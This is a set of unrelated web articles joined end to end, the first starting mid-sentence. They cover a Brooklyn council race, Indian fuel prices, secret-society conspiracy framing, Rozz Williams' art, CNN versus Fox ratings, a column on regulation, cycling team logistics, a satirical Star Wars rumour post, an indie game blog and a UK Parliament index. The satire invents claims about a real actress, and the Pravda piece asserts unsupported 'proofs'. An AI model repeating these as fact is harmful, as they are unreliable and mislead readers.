and longtime New York State Assemblyman Dov Hikind, who were allies before splitting bitterly years ago. Greenfield announced in July that he would leave the City Council at the end of the year to run a nonprofit. He passed on his Democratic party line to longtime political operative Kalman Yeger, who was able to bypass a primary contest. Dov Hikind’s son, Yoni Hikind, who has worked as a social worker and therapist, announced his candidacy soon after. Hikind is running on the “Our Neighborhood” party line. The race has sharply divided Boro Park, already splintered into countless small Orthodox factions. Yeger is seen as the institutional choice. Leaders of the Hasidic group known as Bobov 48, so named for the street where their headquarters is located, back him, as do heads of many local Orthodox yeshivas. But other smaller Hasidic groups back Hikind. Yet the real action has been on social media and in Yiddish-language pamphlets and fliers away from the eyes of outsiders. “They’re going personal,” said one observer of the race. The case of the apparently unauthorized pro-Yeger jingle is perhaps the most bizarre example. The chorus of the catchy tune, which circulated on WhatsApp, includes the Yiddish lyrics: “Kalman has a wife, Kalman has a job… He doesn’t come with his father in tow.” All three are implicit ugly digs at Hikind over his lifestyle. A person close to the Yeger campaign said that the campaign had not created the jingle, but he defended the jabs at Hikind’s unmarried status. “The community is a community that its unique problems are based on people having multiple kids,” he said. “Nobody is raising an issue how he behaves.” He also noted that the jingle does not attack Hikind by name. After the release of the pro-Yeger jingle, a music video featuring the jingle emerged in the WhatsApp groups. The video opens with Yeger’s campaign logo and images of Yeger at community events, and at first appears to be pro-Yeger propaganda. But the photos subtly shift in ways meant to poke fun at the candidate. Under the line about not coming “with his father in tow,” the video shows a picture of Yeger with Greenfield. Under the line about Yeger having a job, they show a picture of him making cotton candy. WhatsApp A still of Yeger making cotton candy from an anti-Yeger video. Share Pinterest Email The attacks appear to have upset Hikind’s father Dov Hikind, who made a furious speech at a community meeting earlier this week. “It’s a very serious thing in Judaism to speak evil, to be mean-spirited,” Dov Hikind said. “To undermine. To attack someone because they’re not married.” Dov Hikind did not respond to a request for comment, nor did Yoni Hikind’s campaign manager. Yeger also could not be reached. “[Dov Hikind is] very angry at the things that they say about Yoni,” the observer of the race told the Forward. “Takes it very personally.” Insiders are split on whether a defeat for Hikind would shake his father’s decades-long hold on the neighborhood’s political scene. Hikind himself has always had the backing of communal institutions in his races. The person close to the Yeger campaign said that they could still back him in the future. “They could be against Dov in this particular race, but tomorrow they will back him fully in his own race,” he said. On Friday, the New York Post reported that Yoni Hikind had been employed by an Orthodox charity that had received donations from Dov Hikind’s campaign accounts. Hikind’s campaign has raised $271,000 to Yeger’s $151,000, though observers say Yeger remains the frontrunner due to his institutional backing. Kornbluh said he worried about the WhatsApp campaign’s effect on the discourse. “People are not being fed real information,” he said. “First thing I’m doing November 8 is, boom, delete WhatsApp.” Contact Josh Nathan-Kazis at nathankazis@forward.com or on Twitter, @joshnathankazis. This story "Underground Yiddish War Rocks Orthodox Brooklyn Race" was written by Josh Nathan-Kazis.

NEW DELHI: Petrol and diesel prices have risen to their highest in three years in some cities in the country, following a sharp rise in international rates driven by the hurricane-induced shutdown of refining capacity in the US.Petrol price in Mumbai rose to its highest since August 2014 while diesel prices reached their peak since August 2014 in Kolkata and Chennai. In Delhi, Kolkata and Chennai, petrol prices are at their peak since January this year. Since July 1, petrol has climbed Rs 5.18 per litre in Mumbai, and diesel by Rs 5.75 per litre in Kolkata, and Rs 5.71per litre in Chennai.On Tuesday, petrol cost Rs 79.48 per litre in Mumbai and Rs 70.38 per litre in Delhi while diesel was priced at Rs 62.37 per litre in Mumbai and Rs 58.72 per litre in Delhi. Prices vary according to local levies imposed by different states. Petrol and diesel aren't in the ambit of the goods and services tax and the rate of taxes imposed by states vary.Indian fuel retailers such as Indian Oil, Bharat Petroleum and Hindustan Petroleum started daily revision of prices of petrol and diesel from the middle of June, replacing the previous practice of fortnightly revision. Companies align local fuel prices with international rates and account for currency fluctuations in daily revision.Daily price changes are small and rarely make it to the headlines and go largely unnoticed. The recent price spike is expected to result in enormous gains for oil companies who while charging higher fuel prices also benefitted from lower crude rates as refinery shutdown in US cut demand for crude oil

Documentary Description Find out the secrets of Skull & Bones, the mysterious organization portrayed in the Oscar® - nominated film The Good Shepherd. They are the subjects of controversy and curiosity. Their members include some of the world's most powerful individuals, including political leaders and the super-rich. Their goals are unknown. HISTORY'S MYSTERIES™ delves into the tightly guarded world of SECRET SOCIETIES in an attempt to lift the veil of mystery surrounding groups like the Skull & Bones, the Bilderbergs and the Tri-Lateral Commission. We'll hear from some conspiracy theorists who believe that they are conspiring to take over the world, and others who contend that they already have! Historians help document what is known about the groups' origins and aims, and we'll see intriguing evidence that suggests that some fears about these organizations may be justified! SECRET SOCIETIES: HISTORY'S DARK SIDE journey's through the past and present in search of clues for what is really going on behind the closed doors of the groups whose names - but not aims - are known. Tags: video videos bilderberg trilateral commission cfr counsel foreign relations skulls bones documentary

Rozz Williams’ art is impressive to say the least. In fact, it’s highly sought after and incredibly rare. His collage work was much in the manner of Dalí, Man Ray and the surrealistic artists of the 1920s with his dream-like (or nightmarish?) compositions. Each mixed media piece is highly detailed and intricate, a small world that tells tragic stories about time, death and decay. Below are some examples of his artwork as artist, actor and director with the undeniable influence of surrealism. Neue Sachlichkeit Mixed media collage (The term “Neue Sachlichkeit” translates to “New Objectivity” – an art movement in the early 20s as a reaction against expressionism.) “Untitled” Mixed media collage Untitled Mixed media collage “O Corpo Humano” Mixed media collage on wood Untitled, 1993 Mixed media collage (The original can be found at Hollywood Forever Cemetery in the Chapel Columbarium.) The book The Art of Rozz Williams: From Christian Death to Death, edited by Nico B. and published in 1999, is the best option to see more of Rozz’s artwork. It’s a collector’s item as it includes sketches, lyrics and photos as well. You can pick it up on Amazon and Ebay for a good chunk of change – but it’s worth it, without a doubt. The book side-by-side to Rozz’s original collage. Self Portrait with Eggs (Walking Away from the Dying World), 1996 Mixed media collage (You can purchase it here.) Nico B. not only put together The Art of Rozz Williams but also co-directed the 1999 short film, PIG with Rozz, which was his final artistic endeavor before his suicide on April 1, 1999. With the soundtrack composed by Premature Ejaculation (aka Rozz), PIG is a experimental horror film full of sadist and religious metaphors that spans 23 minutes in black and white. I am further reminded of the surrealistic movie Un Chien Andalou from 1929 by Luis Buñuel and Dalí which runs for 21 minutes and focuses on disjointed scenes that are sometimes horrific and nightmare-induced. Lethal Amounts was lucky enough to procure some original self portrait Polaroids that were taken from test shots for PIG (and can be found on the cover of Premature Ejaculation’s Wound of Exit album). You can see the mask in the posthumous short film 1334, an eerie ghost story familiar to Rozz himself. You can purchase these and other Rozz Williams Polaroids here. Special thanks to Hyaena Gallery + Analogue Unreality Autopsy. – Andi Harriman

Most Americans do not even think about getting information from alternative news sources The US most popular TV channel Fox News has been beaten by CNN for the first time during the last seven years. Preferences of US citizens were affected by the media reporting of the election campaign and the country’s foreign policy. Twelve million TV viewers preferred the ‘objective’ CNN to Fox News that justifies George Bush’s policy. Most Americans do not even think about getting information from alternative news sources In April 2008 the CNN audience counted 62 million people, while Fox News had only 50 million TV viewers, Handelsblatt reports. According to US media experts, the reason for this change is the information policy run by the competing TV channels. “CNN has beaten all the TV channels by the quality of its programs concerning the elections,” said Joe Cuthbert, a professor of the Department of Journalism of the Columbia University in the City of New York. Fox News, a part of Rupert Murdoch’s News Corporation, engaged in one-sided advocacy of the stance of the current US administration, instead of providing all-round objective reports of election campaigns. Economists proved that George Bush would have never won the 2000 election but for the support from Fox News. The TV channel definitely backs up right-wing Republicans, Cuthbert considers. “Fox is rather the advocate of Bush’s government than a news TV channel. Now the political ship is sinking, and so is Fox.” Jonathan Mann who has been working for CNN for 20 years remembers that “CNN used to be a tiny company with a small budget and minimum possibilities.” Now the moderator is 47 years old, but he started as a European correspondent in Paris, and did reports on the fall of the Berlin Wall and the collapse of communism in Eastern Europe. “At that time we first tried to work in a new way – to broadcast news day and night.” Naturally, some companies followed that example and later turned into our serious rivals: Fox News and MSNBC in the USA, as well as BBC World, Sky News, N-TV, N24 and other channels in Europe. Today in India alone there are over 25 news channels. “CNN sells a certain product – this product is called information,” Jonathan Mann said. In late 1990s CNN reduced the amount of political news and started doing more talk shows. As a result, from 2000 to 2003 the corporation lost a part of its audience and profits. The parent company Time Warner thought about the merger of CNN and TV giant ABC or a possible sale of CNN. The New York Times wrote several articles at that time about “the identity crisis” at CNN. “Rivals’ attempts to imitate each other testify to unhealthy situation,” said professor Cuthbert. “Healthy competition means that rivals oppose and differ from each other.” Finally, the CNN management came back to the things the channel has always been good at. “It is news combined with innovations and the latest technologies,” said David Boreman, the head of the CNN politics department. Success came fast. Although Time Warner does not publicize CNN financial indexes, profits of the legendary channel increased by 20 percent since 2004, The New York Times said. Source: agencies Translated by Julia Bulygina Pravda.ru

Freedom isn’t free. You may think that statement is trite. I actually think it makes a ton of sense. Americans are rightfully proud to live in the Land of the Free. We have more freedom than most countries in all sorts of awesome ways: religion, speech, movement, etc. As they say, it makes us the envy of the world and is the primary reason why immigrants — legal and otherwise — still flock to our borders and shores. Of course, there are limits to our freedom. We are not free to murder and pillage, sell heroin, run naked onto an NFL field. These are easily agreed upon taboos. Reason being is that the cost to society of allowing that much freedom is simply unacceptable and/or morally reprehensible. There are also what I call ‘debatable freedoms,” those which we have hashed out to decide whether or not they are worth exercising. Our acceptance of them evolves over time. Think legalized marijuana or same-sex marriage. And then there are other societal freedoms many of us seem to believe in that come with huge, often under-recognized, and to my mind, hard-to-defend costs. Three examples here are free, unfettered financial markets; a wide-open internet; and nearly unlimited access to firearms. Many of us believe passionately in these freedoms, but I wonder if we fully understand the price we pay for them. Let’s take them one by one. Free, unfettered financial markets You could argue that the financial crisis of 2008/2009 came about in large part because of deregulated or under-regulated financial markets. Speculation in credit derivatives and mortgage-backed securities, along with accompanying risks that were poorly understood, created systemic risk, which badly damaged our nation’s economy and much of the rest of the world’s as well. How much did these free financial markets cost us during the Great Recession? It’s hard to pin down exactly, but I’ve seen estimates of anywhere from $12 trillion to $22 trillion — yes, with a ‘T’. After Lehman Brothers collapsed in 2008, policymakers advanced a slew of regulations intended better prepare the financial system for market and economic volatility. REUTERS/Joshua Lott/Files More A few points here. Of course our free markets have created trillions more than that in wealth. And I’m not talking about implementing thousand of pages of myriad arcane derivatives regulation. I’m thinking mostly about increasing the amount of capital for securities firms. Simple stuff. Next financial crisis, make shareholders pay, not Jane Q. Public. So I’m arguing that with more capital requirements, which is a form of less freedom (I know, hard for Americans to swallow if it’s put that way) and yes adding cost, we could optimize our capital markets. A most worthwhile exercise, I say. A wide-open Internet Next the Internet. First let’s acknowledge that the internet isn’t completely free to begin with, even in the U.S. You cannot legally post child pornography or sell opioids on the web, for example. So there are limits already. Again, I know Americans will hate to admit this, but clearly we need more regulation. Why? Because the costs are too high not to. Right now, we are paying an unquantifiably high societal price and then spending blindly to clean up after the fact. For instance, how much did the hacks on our parent company Yahoo cost? After one breach was announced, Verizon lowered its purchase price by $350 million. As for the Equifax breech — and dozens more — who knows. And there are the real biggies: What is the cost to our society of Russian trolling and fake news on Facebook and Twitter? Examples: Fakes news roils an Idaho town. A guy goes to shoot up a pizza parlor in Washington, D.C. over a bogus viral story. Count: Millions and millions of dollars. Facebook CEO Mark Zuckerberg. REUTERS/Stephen Lam More

Weeks before the races, they start to land in our inboxes. Flanders info sheet. Giro info sheet. The sheet is the skeleton of a bike race, the structure on which an entire team’s functions are built. Who’s going to the race on what day, flight numbers, layover airports, a list of the cars and bus going to the first hotel. Who’s picking who up in what car at what terminal. Sheet doesn’t do them justice, really. The sheet for the Giro is actually 17 pages of careful deliberation. It’s a written chart of the invisible lines we will trace across North America and Europe to all make it to one hotel. I imagine us all as yarn strings across a pane of glass in someone’s head. Move one string and it bends them all. That person is real, and her name is Louise Donald. She’s the Cannondale Pro Cycling Team’s operations director, and she works with the directors and other staff to charts the courses of all these ships that eventually dock at a bike race. The information is kept in “the cloud” — that way there is one live copy and less room for confusion, as it changes by the hour sometimes. “There’s a lot more travel now than there ever was before,” she told me. “In my dreamworld, I’d write software to make the whole thing connected and seamless. My dream is to type something once, just one time, and it’s populated in all the right places. If Rigo changed his jersey size I’d put it into the database, it would go into his next order, Castelli would be able to see it.” The team will allot 10 complete kits for each rider over the season, roughly. We have 13 cars, seven of which have televisions in them, meaning they’re up to snuff to go into the races, piloted by one of our sport directors. The cars the soigneurs drive to the feed zones need to be race ready as well, in case one of the primary DS cars have an issue mid-race and they need to swap rides. This happens more often than you might think. In total, we have two team buses, three mechanic trucks, one Sprinter van, and various rented vans and campers that keep the show on the road. It’s a constant game of both Tetris and Jenga; something may fit somewhere, but it may be holding another part of the organization up somewhere else. After Ardennes week, some of the cars, and the bus, remained in Belgium and were sent to the Giro start, while others were sent from elsewhere in Europe to the south of Italy for the team after the long transfer. “As it grows and changes, more technology is required,” Louise says. Her greatest challenge? “To make sure that everyone who needs to be is accurately and quickly informed of all plans and subsequent changes to those plans. It’s ever-changing. I’m just the hub of the wheel — I’m in the middle, with the other operations staff.” That staff processes e-mails while most people read them. Louise alone sends about 150 emails every day during the season. For the logistics staff, cell phones are the axis upon which their professions turn. Sport directors and the performance team also churn out crucial information. They spend weeks of thinking and planning while riders were training just to get to be selected for the Giro. Most of the riders did 130 or so hours of work, each, on the Teide volcano. Directors logged hours on Google Earth, looking at the roads and the corners and what might be a problem for a team trying to win the the race, as ours is. Sometimes a DS will look at one stage for five hours, just analyzing the roads from above, looking for the corners that can end a team’s GC dreams. Fabrizio Guidi, one of our two directors leading the Giro team, said the work started going into planning the logistics of each day here more than a month ago, and that’s got nothing to do with the theater of the race itself. There are myriad races each day: to the start, the actual race with riders in it, to the feed zones, to the finish, to the hotels. To the buffet. On the ground here, the information comes daily to our inboxes from director Bingen Fernández. Hourly breakdowns of each day land the night prior: Breakfast, staff: 7-8. Breakfast, riders. Bags out in hallway or to truck. Depart, start, bus with the doctor, riders. Race start. Drive to finish. You’re in car 7, drive it to the hotel if we’re on the podium. GPS coordinates of the hotels, sent out about four times. Those are the important ones. My data allowance was obliterated after three race days. All those words and numbers on the spreadsheet allow the machinery of the team to rumble to life each morning. New bike frames show up to be built, the washing machines roll all day long. Bags of kit, bags of food. There were 27 people in Holland traveling as a group and now we’re at 30 in Italy, all with one real goal comprised of hundreds of tasks each day that must be done in order to reach it. There’s 21 other teams doing mostly the same thing, too. From the outside, this sport is so shiny. The veneer is one of clean glass, glimmering bikes, mechanics leaning nonchalantly on the hoods of race cars, no cares in the world. But there’s a stream of numbers beneath that skin, and they tick by all day. The swanning about in the mornings at the starts is just gloss laid over the bones of the spreadsheets. Tomorrow, one of those names on the sheet will be fifth wheel, or have a flat on the side of the road, and another one of those names or flight numbers will be sprinting out of the car to fix it.

In a recent interview, Billie Lourd revealed she will be back and bigger than ever in the upcoming Star Wars: Episode VIII. Lourd’s character, Kaydel Ko Connix, spoke one line to her mother’s character in The Force Awakens and now Lourd promises more from Connix in the next installment in the saga films. A FSW correspondent was able to catch up with Lourd following her interview and asked her to elaborate on what she referred to as a role that’s “bigger than ever.” Billie revealed that not only will her role be bigger and meatier this time around but Connix herself will be bigger and meatier. Lourd elaborated that Connix will be pregnant in Episode VIII, carrying the child of a certain lead character. Billie refused to comment any further out of fear of being arrested but confirmed the baby does not belong to First Order characters Hux, Snoke, or Kylo Ren. SPECULATION TIME FAKERS! Now lets figure out whose child Lieutenant Connix carries. Our choices are: Poe Dameron – The obvious choice is the most eligible bachelor in the Resistance. Poe’s got the looks, the swagger, and he’s the best freaking pilot in the galaxy. The only thing harming this theory is the fact Poe may be gay with feelings for Finn. Finn – We only suggest Finn because Billie said it was a lead character. However, Finn would have just recently joined the Resistance by the time of Episode VIII and wouldn’t have been available to get it on with Connix before being put into a coma by Kylo Ren. We doubt Finn is the father. “Snap” Wexley – We all know that Snap’s reconnaissance skills are top-notch, so it seems likely he will have done his work sorting out the eligible ladies to carry on the snap seed for generations of rebels to come. Plus it just sounds cool to say, “My daddy Snap has done recon on bases bigger than your daddy.” Benicio del Toro’s “man in black” – It’s not completely outside the realm of possibilities to assume that del Toro will play a baby daddy Latino lover in Star Wars, given the new bent of Disney trying to represent ethnic groups in their films in a diverse way. In this theory, del Toro plays a poor campesino fruit farmer who illegally immigrates to galactic headquarters and impregnates his young wife citizen to get a residency card. Crimson Corsair – The Crimson Corsair and his savoire-fair. ‘Nuff said? That’s our shortlist for who might be Lieutenant Connix’s baby daddy. Whomever it is is going to have their hands full juggling a newborn along with their regular responsibilities. Good luck to all the men in question! Whom do you think is the father? Let is know in the comments sectiom below! As always, keep it locked to FakingStarWars.net for the latest and fakest news from a galaxy far, far away. -Voxx Please follow and like Faking Star Wars:

Greenlit! Jack B. Nimble has been greenlit! In less than a month no less! Jack B. Nimble: Greenlit Firstly, I know that I could have put the game out there a little more. It’s just that the lackluster sales following Jack B. Nimble’s latest iOS update took the wind out of my sails somewhat. I would have liked to have shared regular updates, but I just couldn’t bring myself to post about the game – this is what marketing teams are for. When developers are in crunch, tired, or suffering from low morale, it’s good to have a team promoting the game. That way a developer’s work is not in vain. I reached out and contacted a number of YouTubers and publications but received no response, nor did I witness any coverage from those outlets. It’s hard not to take some of these things personally – again, this is what marketing teams are for. They act as a buffer. However, despite my lackadaisical approach to promotion and marketing, the Steam greenlight campaign was a success. Many thanks to those whom took the time to vote, and a special thanks to the Star Citizen Twitch community for spreading the word (don’t cross the streams!). Throughout the campaign I was surprised by the positive yes rate, which ended at 61%. I was expecting the mobile port to have a more substantial negative impact. Even the comments section was mostly positive. Although there were some choice comments slamming the game’s more casual design and the use of pixel art. Development Plan So what’s next? For the game itself, I estimate roughly two full weekends of work adding the required features for a PC port. And that’s a generous estimate. An additional weekend or two will be spent evaluating options for integration with the Steamworks API. I’d like to include Steam achievements, cards and leaderboards, but I’ve not looked into the capabilities of the Construct 2 Greenworks plugin. Outside of that, I will have a bunch of paperwork to fill out for Steam and the tax man. So we’re talking a month or so if I dedicate my weekends to the port.

Note: Latency in the video stream means index items will appear first. 11:34:18 Oral Questions to the Secretary of State for Scotland 11:34:24 Q1. What discussions he has had with the Chancellor of the Exchequer on the amount of LIBOR funding available to museums, galleries and tourist attractions in Scotland. (907316) 11:34:30 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:34:48 Stewart Malcolm McDonald MP (Glasgow South, Scottish National Party) 11:35:16 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:35:47 Alan Brown MP (Kilmarnock and Loudoun, Scottish National Party) 11:36:06 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:36:41 John Stevenson MP (Carlisle, Conservative) 11:37:02 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:37:34 Q2. What progress has been made on the transfer of powers to the Scottish Government under the provisions of the Scotland Act 2016. (907317) 11:37:37 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:37:52 Mr Stewart Jackson MP (Peterborough, Conservative) 11:38:20 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:39:04 Rt Hon Angus Robertson MP (Moray, Scottish National Party) 11:39:35 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:39:56 Rt Hon Angus Robertson MP (Moray, Scottish National Party) 11:40:37 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:41:15 Iain Stewart MP (Milton Keynes South, Conservative) 11:41:29 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:41:54 Angus Brendan MacNeil MP (Na h-Eileanan an Iar, Scottish National Party) 11:42:20 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:42:40 Stephen Pound MP (Ealing North, Labour) 11:43:22 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:44:12 Q3. What steps he is taking to ensure that Scottish SMEs are protected from economic uncertainty. (907318) 11:44:17 Margot James MP, Parliamentary Under-Secretary (Department for Business, Energy and Industrial Strategy) (Stourbridge, Conservative) 11:44:35 Paul Blomfield MP (Sheffield Central, Labour) 11:45:00 Margot James MP, Parliamentary Under-Secretary (Department for Business, Energy and Industrial Strategy) (Stourbridge, Conservative) 11:45:22 Craig Tracey MP (North Warwickshire, Conservative) 11:45:41 Margot James MP, Parliamentary Under-Secretary (Department for Business, Energy and Industrial Strategy) (Stourbridge, Conservative) 11:46:03 Ian Murray MP (Edinburgh South, Labour) 11:46:27 Margot James MP, Parliamentary Under-Secretary (Department for Business, Energy and Industrial Strategy) (Stourbridge, Conservative) 11:46:51 Philip Boswell MP (Coatbridge, Chryston and Bellshill, Scottish National Party) 11:47:17 Margot James MP, Parliamentary Under-Secretary (Department for Business, Energy and Industrial Strategy) (Stourbridge, Conservative) 11:47:56 Bob Blackman MP (Harrow East, Conservative) 11:48:13 Margot James MP, Parliamentary Under-Secretary (Department for Business, Energy and Industrial Strategy) (Stourbridge, Conservative) 11:48:32 Stephen Pound MP (Ealing North, Labour) 11:49:03 Margot James MP, Parliamentary Under-Secretary (Department for Business, Energy and Industrial Strategy) (Stourbridge, Conservative) 11:49:18 Stephen Pound MP (Ealing North, Labour) 11:49:41 Margot James MP, Parliamentary Under-Secretary (Department for Business, Energy and Industrial Strategy) (Stourbridge, Conservative) 11:49:52 Q5. What discussions he has had with the Secretary of State for Environment, Food and Rural Affairs on achieving a fair allocation of the convergence uplift funding from the EU. (907322) 11:49:57 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative) 11:50:17 Steven Paterson MP (Stirling, Scottish National Party) 11:50:37 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative) 11:51:18 Calum Kerr MP (Berwickshire, Roxburgh and Selkirk, Scottish National Party) 11:51:47 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative) 11:52:09 Q6. What discussions he has had with Scottish businesses and other groups on the UK's negotiations to leave the EU. (907323) 11:52:17 Margot James MP, Parliamentary Under-Secretary (Department for Business, Energy and Industrial Strategy) (Stourbridge, Conservative) 11:52:36 Victoria Atkins MP (Louth and Horncastle, Conservative) 11:53:05 Margot James MP, Parliamentary Under-Secretary (Department for Business, Energy and Industrial Strategy) (Stourbridge, Conservative) 11:53:31 Stuart C. McDonald MP (Cumbernauld, Kilsyth and Kirkintilloch East, Scottish National Party) 11:53:55 Margot James MP, Parliamentary Under-Secretary (Department for Business, Energy and Industrial Strategy) (Stourbridge, Conservative) 11:54:18 Ian C. Lucas MP (Wrexham, Labour) 11:54:42 Margot James MP, Parliamentary Under-Secretary (Department for Business, Energy and Industrial Strategy) (Stourbridge, Conservative) 11:54:55 Rt Hon Alistair Carmichael MP (Orkney and Shetland, Liberal Democrat) 11:55:22 Margot James MP, Parliamentary Under-Secretary (Department for Business, Energy and Industrial Strategy) (Stourbridge, Conservative) 11:55:49 Margaret Ferrier MP (Rutherglen and Hamilton West, Scottish National Party) 11:56:23 Margot James MP, Parliamentary Under-Secretary (Department for Business, Energy and Industrial Strategy) (Stourbridge, Conservative) 11:56:55 Q7. What discussions the Government has had with food and drink companies in Scotland on the importance of the UK market for that industry. (907324) 11:57:02 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative) 11:57:21 Sir David Amess MP (Southend West, Conservative) 11:57:39 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative) 11:58:03 Ms Tasmina Ahmed-Sheikh MP (Ochil and South Perthshire, Scottish National Party) 11:58:46 George Eustice MP, The Minister of State, Department for Environment, Food and Rural Affairs (Camborne and Redruth, Conservative) 11:59:02 Q8. What discussions he has had with the Scottish Government on the work of the Independent Fiscal Commission. (907325) 11:59:06 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:59:23 Mr Ranil Jayawardena MP (North East Hampshire, Conservative) 11:59:41 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 12:00:07 John Nicolson MP (East Dunbartonshire, Scottish National Party) 12:00:30 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 12:00:57 Oral Questions to the Prime Minister 12:01:06 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:01:16 Peter Grant MP (Glenrothes, Scottish National Party) 12:01:43 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:02:12 Daniel Kawczynski MP (Shrewsbury and Atcham, Conservative) 12:02:35 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:03:03 Rt Hon Jeremy Corbyn MP (Islington North, Labour) 12:03:42 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:04:15 Rt Hon Jeremy Corbyn MP (Islington North, Labour) 12:05:26 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:06:30 Rt Hon Jeremy Corbyn MP (Islington North, Labour) 12:07:36 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:08:10 Rt Hon Jeremy Corbyn MP (Islington North, Labour) 12:08:56 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:09:58 Rt Hon Jeremy Corbyn MP (Islington North, Labour) 12:10:54 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:11:38 Rt Hon Jeremy Corbyn MP (Islington North, Labour) 12:12:57 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:13:49 Gordon Henderson MP (Sittingbourne and Sheppey, Conservative) 12:14:57 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:15:30 Rt Hon Angus Robertson MP (Moray, Scottish National Party) 12:16:04 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:16:47 Rt Hon Angus Robertson MP (Moray, Scottish National Party) 12:17:12 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:17:57 Rt Hon Sir Simon Burns MP (Chelmsford, Conservative) 12:18:41 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:19:19 Tulip Siddiq MP (Hampstead and Kilburn, Labour) 12:19:51 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:20:50 Rt Hon Peter Lilley MP (Hitchin and Harpenden, Conservative) 12:21:30 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:21:55 Angela Smith MP (Penistone and Stocksbridge, Labour) 12:22:36 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:23:04 Rt Hon Cheryl Gillan MP (Chesham and Amersham, Conservative) 12:23:42 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:24:26 John Woodcock MP (Barrow and Furness, Labour (Co-op)) 12:24:58 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:25:36 Rt Hon John Whittingdale MP (Maldon, Conservative) 12:26:06 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:26:33 Holly Lynch MP (Halifax, Labour) 12:26:59 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:28:00 Dr Andrew Murrison MP (South West Wiltshire, Conservative) 12:28:20 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:28:58 Tom Elliott MP (Fermanagh and South Tyrone, Ulster Unionist Party) 12:29:31 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:29:58 John Stevenson MP (Carlisle, Conservative) 12:30:14 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:30:29 Kirsty Blackman MP (Aberdeen North, Scottish National Party) 12:30:55 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:31:34 Kevin Foster MP (Torbay, Conservative) 12:31:55 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:32:06 Wayne David MP (Caerphilly, Labour) 12:32:24 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:32:49 Mr Julian Brazier MP (Canterbury, Conservative) 12:33:09 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:33:31 Tim Farron MP (Westmorland and Lonsdale, Liberal Democrat) 12:33:58 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:34:39 Charlie Elphicke MP (Dover, Conservative) 12:35:00 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:35:16 Ms Angela Eagle MP (Wallasey, Labour) 12:35:45 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:36:13 Richard Drax MP (South Dorset, Conservative) 12:36:49 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:37:24 Gloria De Piero MP (Ashfield, Labour) 12:37:32 Rt Hon Theresa May MP, The Prime Minister (Maidenhead, Conservative) 12:37:50 Financial Statement: Autumn Statement 12:37:57 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 13:29:26 Rt Hon John McDonnell MP (Hayes and Harlington, Labour) 13:46:45 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 13:52:32 Rt Hon Kenneth Clarke QC MP (Rushcliffe, Conservative) 13:54:40 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 13:56:00 